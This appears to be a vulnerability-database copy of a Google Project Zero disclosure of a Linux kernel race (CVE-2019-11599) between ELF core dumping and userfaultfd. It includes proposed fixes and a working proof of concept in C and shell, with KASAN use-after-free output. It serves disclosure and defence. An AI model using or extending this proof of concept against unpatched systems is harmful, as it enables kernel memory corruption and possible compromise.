Lucene search

K
zdtGoogle Security Research1337DAY-ID-32619
HistoryApr 30, 2019 - 12:00 a.m.

Linux Missing Lockdown Exploit

2019-04-3000:00:00
Google Security Research
0day.today
114

7 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

HIGH

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

6.9 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:M/Au:N/C:C/I:C/A:C

0.001 Low

EPSS

Percentile

20.3%

Linux suffers from a missing locking between ELF coredump code and userfaultfd VMA modification.

Linux: missing locking between ELF coredump code and userfaultfd VMA modification 

Related CVE Numbers: CVE-2019-11599.


elf_core_dump() has a comment back from something like 2.5.43-C3 that says:

        /*
         * We no longer stop all VM operations.
         * 
         * This is because those proceses that could possibly change map_count
         * or the mmap / vma pages are now blocked in do_exit on current
         * finishing this core dump.
         *
         * Only ptrace can touch these memory addresses, but it doesn't change
         * the map_count or the pages allocated. So no possibility of crashing
         * exists while dumping the mm->vm_next areas to the core file.
         */

However, since commit 86039bd3b4e6 (\"userfaultfd: add new syscall to provide
memory externalization\", introduced in v4.3), that's no longer true; the
following functions can call vma_merge() on another task's VMAs while holding
the corresponding mmap_sem for writing:

 - userfaultfd_release() [->release handler]
 - userfaultfd_register() [invoked via ->unlocked_ioctl handler]
 - userfaultfd_unregister() [invoked via ->unlocked_ioctl handler]

This means that VMAs can disappear from under elf_core_dump().


I see two potential ways to fix this, but I'm not sure whether either of them is
good:

1. Let elf_core_dump() hold a read lock on the mmap_sem across the page-dumping
   loop. This would mean that the mmap_sem can be blocked indefinitely by a
   userspace process, and e.g. userfaultfd_release() could block the task or
   global workqueue it's running on (depending on where the final fput()
   happened) indefinitely, which seems potentially bad from a denial-of-service
   perspective?
2. Let coredump_wait() set a flag on the mm_struct before dropping the mmap_sem
   that says \"this mm_struct is going away, keep your hands off\";
   let the userfaultfd ioctl handlers check for the flag and bail out as if the
   mm_struct was already dead;
   hack userfaultfd_release() so that it only calls vma_merge() if the flag
   hasn't been set;
   and because I feel icky about concurrent reads and writes of bitmasks without
   explicit annotations, either make the vm_flags accesses in
   userfaultfd_release() and in everything called from elf_core_dump() atomic
   (because userfaultfd_release will clear bits in them concurrently with reads
   from elf_core_dump()) or let elf_core_dump() take the mmap_sem for reading
   while looking at vm_flags.
   If the fix goes in this direction, it should probably come with a big warning
   on top of the definition of mmap_sem, or something like that.


Here's a simple proof-of-concept:
======================================================================
user@debian:~/uffd_coredump$ cat coredump_helper.c
#include <unistd.h>
#include <stdlib.h>
#include <err.h>
#include <stdbool.h>

int main(void) {
  char buf[1024];
  size_t total = 0;
  bool slept = false;
  while (1) {
    int res = read(0, buf, sizeof(buf));
    if (res == -1) err(1, \"read\");
    if (res == 0) return 0;
    total += res;
    if (total > 1024*1024 && !slept) {
      sleep(10);
      slept = true;
    }
  }
}
user@debian:~/uffd_coredump$ gcc -o coredump_helper coredump_helper.c
user@debian:~/uffd_coredump$ cat set_helper.sh 
#!/bin/sh
echo \"|$(realpath ./coredump_helper)\" > /proc/sys/kernel/core_pattern
user@debian:~/uffd_coredump$ sudo ./set_helper.sh 
user@debian:~/uffd_coredump$ cat dumpme.c 
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <err.h>
#include <unistd.h>
#include <sys/mman.h>

int main(void) {
  // set up an area consisting of half normal anon memory, half present userfaultfd region
  void *area = mmap(NULL, 1024*1024*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  if (area == MAP_FAILED) err(1, \"mmap\");
  memset(area, 'A', 1024*1024*2);
  int uffd = syscall(__NR_userfaultfd, 0);
  if (uffd == -1) err(1, \"userfaultfd\");
  struct uffdio_api api = { .api = 0xAA, .features = 0 };
  if (ioctl(uffd, UFFDIO_API, &api)) err(1, \"API\");
  struct uffdio_register reg = {
    .range = { .start = (unsigned long)area+1024*1024, .len = 1024*1024 },
    .mode = UFFDIO_REGISTER_MODE_MISSING
  };
  if (ioctl(uffd, UFFDIO_REGISTER, &reg)) err(1, \"REGISTER\");

  // spawn a child that can do stuff with the userfaultfd
  pid_t child = fork();
  if (child == -1) err(1, \"fork\");
  if (child == 0) {
    sleep(3);
    if (ioctl(uffd, UFFDIO_UNREGISTER, &reg.range)) err(1, \"UNREGISTER\");
    exit(0);
  }

  *(volatile char *)0 = 42;
}
user@debian:~/uffd_coredump$ gcc -o dumpme dumpme.c
user@debian:~/uffd_coredump$ ./dumpme 
Segmentation fault (core dumped)
user@debian:~/uffd_coredump$ 
======================================================================

dmesg output:
======================================================================
[  128.977354] dumpme[1116]: segfault at 0 ip 0000563e14789a6e sp 00007ffed407cd80 error 6 in dumpme[563e14789000+1000]
[  128.979600] Code: ff 85 c0 74 16 48 8d 35 d7 00 00 00 bf 01 00 00 00 b8 00 00 00 00 e8 c1 fc ff ff bf 00 00 00 00 e8 c7 fc ff ff b8 00 00 00 00 <c6> 00 2a b8 00 00 00 00 c9 c3 0f 1f 84 00 00 00 00 00 41 57 41 56
[  138.988465] ==================================================================
[  138.992696] BUG: KASAN: use-after-free in elf_core_dump+0x2063/0x20e0
[  138.994168] Read of size 8 at addr ffff8881e616ed60 by task dumpme/1116

[  138.996163] CPU: 1 PID: 1116 Comm: dumpme Not tainted 5.0.0-rc8 #292
[  138.997591] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[  138.999570] Call Trace:
[  139.000237]  dump_stack+0x71/0xab
[...]
[  139.001940]  print_address_description+0x6a/0x2b0
[...]
[  139.005026]  kasan_report+0x14e/0x192
[...]
[  139.006803]  elf_core_dump+0x2063/0x20e0
[...]
[  139.013876]  do_coredump+0x1072/0x17a0
[...]
[  139.027534]  get_signal+0x93c/0xa90
[  139.028400]  do_signal+0x85/0xb20
[...]
[  139.034068]  exit_to_usermode_loop+0xfb/0x120
[...]
[  139.036028]  prepare_exit_to_usermode+0x95/0xb0
[  139.037114]  retint_user+0x8/0x8
[  139.037884] RIP: 0033:0x563e14789a6e
[  139.038661] Code: ff 85 c0 74 16 48 8d 35 d7 00 00 00 bf 01 00 00 00 b8 00 00 00 00 e8 c1 fc ff ff bf 00 00 00 00 e8 c7 fc ff ff b8 00 00 00 00 <c6> 00 2a b8 00 00 00 00 c9 c3 0f 1f 84 00 00 00 00 00 41 57 41 56
[  139.042892] RSP: 002b:00007ffed407cd80 EFLAGS: 00010202
[  139.044148] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00007f654198538b
[  139.045809] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000001200011
[  139.047405] RBP: 00007ffed407cdd0 R08: 00007f6541e6f700 R09: 00007ffed407cdae
[  139.049063] R10: 00007f6541e6f9d0 R11: 0000000000000246 R12: 0000563e14789770
[  139.050659] R13: 00007ffed407ceb0 R14: 0000000000000000 R15: 0000000000000000

[  139.052673] Allocated by task 1116:
[  139.053506]  __kasan_kmalloc.constprop.9+0xa0/0xd0
[  139.054600]  kmem_cache_alloc+0xd6/0x1e0
[  139.055561]  vm_area_alloc+0x1b/0x80
[  139.056339]  mmap_region+0x4db/0xa60
[  139.057179]  do_mmap+0x44d/0x6f0
[  139.057953]  vm_mmap_pgoff+0x163/0x1b0
[  139.058936]  ksys_mmap_pgoff+0x16a/0x330
[  139.059839]  do_syscall_64+0x73/0x160
[  139.060633]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  139.062270] Freed by task 1117:
[  139.062957]  __kasan_slab_free+0x130/0x180
[  139.063906]  kmem_cache_free+0x73/0x1c0
[  139.064829]  __vma_adjust+0x564/0xca0
[  139.065756]  vma_merge+0x358/0x6a0
[  139.066504]  userfaultfd_ioctl+0x687/0x17c0
[  139.067533]  do_vfs_ioctl+0x134/0x8f0
[  139.068377]  ksys_ioctl+0x70/0x80
[  139.069141]  __x64_sys_ioctl+0x3d/0x50
[  139.069959]  do_syscall_64+0x73/0x160
[  139.070755]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  139.072235] The buggy address belongs to the object at ffff8881e616ed50
                which belongs to the cache vm_area_struct of size 200
[  139.075075] The buggy address is located 16 bytes inside of
                200-byte region [ffff8881e616ed50, ffff8881e616ee18)
[  139.077556] The buggy address belongs to the page:
[  139.078648] page:ffffea0007985b00 count:1 mapcount:0 mapping:ffff8881eada6f00 index:0x0 compound_mapcount: 0
[  139.080745] flags: 0x17fffc000010200(slab|head)
[  139.081724] raw: 017fffc000010200 ffffea000792dc08 ffffea0007765c08 ffff8881eada6f00
[  139.083477] raw: 0000000000000000 00000000001d001d 00000001ffffffff 0000000000000000
[  139.085121] page dumped because: kasan: bad access detected

[  139.086667] Memory state around the buggy address:
[  139.087695]  ffff8881e616ec00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  139.089294]  ffff8881e616ec80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  139.090833] >ffff8881e616ed00: fc fc fc fc fc fc fc fc fc fc fb fb fb fb fb fb
[  139.092417]                                                        ^
[  139.093780]  ffff8881e616ed80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  139.095318]  ffff8881e616ee00: fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc fc
[  139.096917] ==================================================================
[  139.098460] Disabling lock debugging due to kernel taint
======================================================================


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.


Found by: [email protected]

7 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

HIGH

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

6.9 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:M/Au:N/C:C/I:C/A:C

0.001 Low

EPSS

Percentile

20.3%